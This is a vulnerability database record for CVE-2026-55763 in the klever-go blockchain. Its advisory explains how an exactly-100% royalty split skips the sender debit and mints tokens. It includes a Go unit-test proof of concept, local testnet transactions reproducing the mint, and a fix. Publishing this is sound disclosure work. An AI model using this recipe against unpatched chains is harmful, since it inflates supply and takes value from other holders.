{"id":"CVE-2026-55763","aliases":["GHSA-v358-wf77-39xv","GO-2026-6323"],"url":"https://o3.security/vulnerability/CVE-2026-55763","summary":"Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits","details":"## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay <= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay > royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it → mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` — `processPercentageRoyaltiesTransfer`: split loop → `if royaltiesToPay <= 0\n  { return Ok }` → `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue × rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder's transfer of the asset — not just the owner's.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender's `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n<details><summary>Full Go PoC (<code>core/kapp/accounts</code> package, passes = mint confirmed)</summary>\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the\n// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays\n// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn &kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: &kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := &commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := &commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := &commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := &commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := &commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.\n\t\tfc := &integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := &kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          &block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := &accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := &transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (> 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender's royalty debit was NEVER called -> value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited > debited => mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 => conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n</details>\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4…qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty — while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n<details><summary>Create tx — <code>F07-3NG3</code>, 10% transfer royalty + single 100% split to <code>R</code> (hash <code>ec2a8e8d…af12bc7f</code>)</summary>\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n</details>\n\n<details><summary>Transfer tx — royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary>\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n</details>\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.","published":"2026-08-28T20:26:43.720Z","modified":"2026-09-29T18:26:41.496752305Z","cvss":null,"epss":{"score":0.00304,"percentile":0.23231,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","fixedVersion":"1.7.19-rc4"}],"fix":{"url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251","label":"klever-io/klever-go@8bcc600"},"references":[{"type":"WEB","url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.19"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55763.json"},{"type":"ADVISORY","url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55763"},{"type":"FIX","url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"},{"type":"PACKAGE","url":"https://github.com/klever-io/klever-go"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-29T18:26:41.496752305Z"}}